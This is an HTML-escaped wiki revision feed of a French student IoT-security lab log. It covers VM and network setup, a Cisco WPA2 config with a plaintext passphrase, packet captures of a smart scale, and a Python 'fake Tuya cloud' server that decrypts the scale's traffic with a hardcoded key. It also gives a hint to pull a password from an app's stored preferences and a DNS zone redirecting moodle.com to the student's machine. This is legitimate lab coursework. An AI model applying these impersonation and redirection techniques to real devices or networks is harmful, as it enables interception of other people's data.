12:36:54.536817 IP 172.16.10.105.44185 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6567, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O%..&lt;br /&gt;
i..&lt;br /&gt;
...&amp;quot;.........`...1.........&lt;br /&gt;
12:36:54.536835 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.44185: Flags [R.], seq 0, ack 6568, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;...........P...ZN..&lt;br /&gt;
12:36:55.545631 IP 172.16.10.105.26626 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6589, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O$..&lt;br /&gt;
i..&lt;br /&gt;
.h.&amp;quot;.........`...v&lt;br /&gt;
........&lt;br /&gt;
12:36:55.545649 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.26626: Flags [R.], seq 0, ack 6590, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.h.........P.......&lt;br /&gt;
12:36:56.554680 IP 172.16.10.105.16244 &amp;gt; 172.16.10.1.8886: Flags [S], seq 6611, win 4380, options [mss 1460], length 0&lt;br /&gt;
E..,......O#..&lt;br /&gt;
i..&lt;br /&gt;
.?t&amp;quot;.........`.............&lt;br /&gt;
12:36:56.554698 IP 172.16.10.1.8886 &amp;gt; 172.16.10.105.16244: Flags [R.], seq 0, ack 6612, win 0, length 0&lt;br /&gt;
E..(..@.@..E..&lt;br /&gt;
...&lt;br /&gt;
i&amp;quot;.?t........P....G..&lt;br /&gt;
^C&lt;br /&gt;
57 packets captured&lt;br /&gt;
57 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;port 8886 chez tuya ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 00 00 00 00   d6aG91IFR1eV....&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 00   ...:..BAohBAohb.&lt;br /&gt;
0010 - 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 00 00 00 00-00 00 00 00 00 00 00 00   d6aG............&lt;br /&gt;
0020 - 00 00 00 00 00 00 00 00-04 00 ae 00 ff 01 00 00   ................&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c1930 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c1930 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;trouver un mdp dans l'appli nedis /data/data/com.nedis.smartlife/shared_prefs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
decouverte de tinytuya : https://github.com/jasonacox/tinytuya&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import tinytuya&lt;br /&gt;
import json&lt;br /&gt;
&lt;br /&gt;
LOCAL_KEY = '674d29fb978a1705' &lt;br /&gt;
&lt;br /&gt;
IP_BALANCE = '172.16.10.105'&lt;br /&gt;
&lt;br /&gt;
print(f&amp;quot;[*] Démarrage du Faux Cloud Tuya...&amp;quot;)&lt;br /&gt;
print(f&amp;quot;[*] Clé utilisée : {LOCAL_KEY}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
server_socket.bind(('0.0.0.0', 8886))&lt;br /&gt;
server_socket.listen(1)&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;[*] En attente de la balance sur le port 8886...&amp;quot;)&lt;br /&gt;
print(&amp;quot;[*] Monte sur la balance maintenant !&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
while True:&lt;br /&gt;
    try:&lt;br /&gt;
        client, addr = server_socket.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion reçue de {addr[0]} !&amp;quot;)&lt;br /&gt;
        &lt;br /&gt;
        data = client.recv(4096)&lt;br /&gt;
        &lt;br /&gt;
        if data:&lt;br /&gt;
            print(f&amp;quot;[i] {len(data)} octets reçus (chiffrés). Tentative de décodage...&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                d = tinytuya.OutletDevice('DUMMY_ID', IP_BALANCE, LOCAL_KEY)&lt;br /&gt;
                d.set_version(3.3) # Version standard WiFi&lt;br /&gt;
                &lt;br /&gt;
                decrypted = d._decode_payload(data)&lt;br /&gt;
                &lt;br /&gt;
                if decrypted:&lt;br /&gt;
                    print(&amp;quot;\n&amp;quot; + &amp;quot;=&amp;quot;*40)&lt;br /&gt;
                    print(&amp;quot;donnés :&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;=&amp;quot;*40)&lt;br /&gt;
                    parsed = json.loads(decrypted)&lt;br /&gt;
                    print(json.dumps(parsed, indent=4))&lt;br /&gt;
                    &lt;br /&gt;
                    if 'dps' in parsed:&lt;br /&gt;
                        print(&amp;quot;\nVALEURS :&amp;quot;)&lt;br /&gt;
                        for k, v in parsed['dps'].items():&lt;br /&gt;
                            print(f&amp;quot;- Data Point {k} : {v}&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;=&amp;quot;*40)&lt;br /&gt;
                else:&lt;br /&gt;
                    print(&amp;quot;[-] Échec du décryptage (Format inconnu ou clé incorrecte pour ce paquet)&amp;quot;)&lt;br /&gt;
                    &lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;[-] Erreur de décodage : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        client.close()&lt;br /&gt;
        &lt;br /&gt;
    except KeyboardInterrupt:&lt;br /&gt;
        print(&amp;quot;\nArrêt.&amp;quot;)&lt;br /&gt;
        break&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;Erreur serveur : {e}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10918</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10918"/>
		<updated>2025-12-11T15:28:26Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Ultime tentative */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
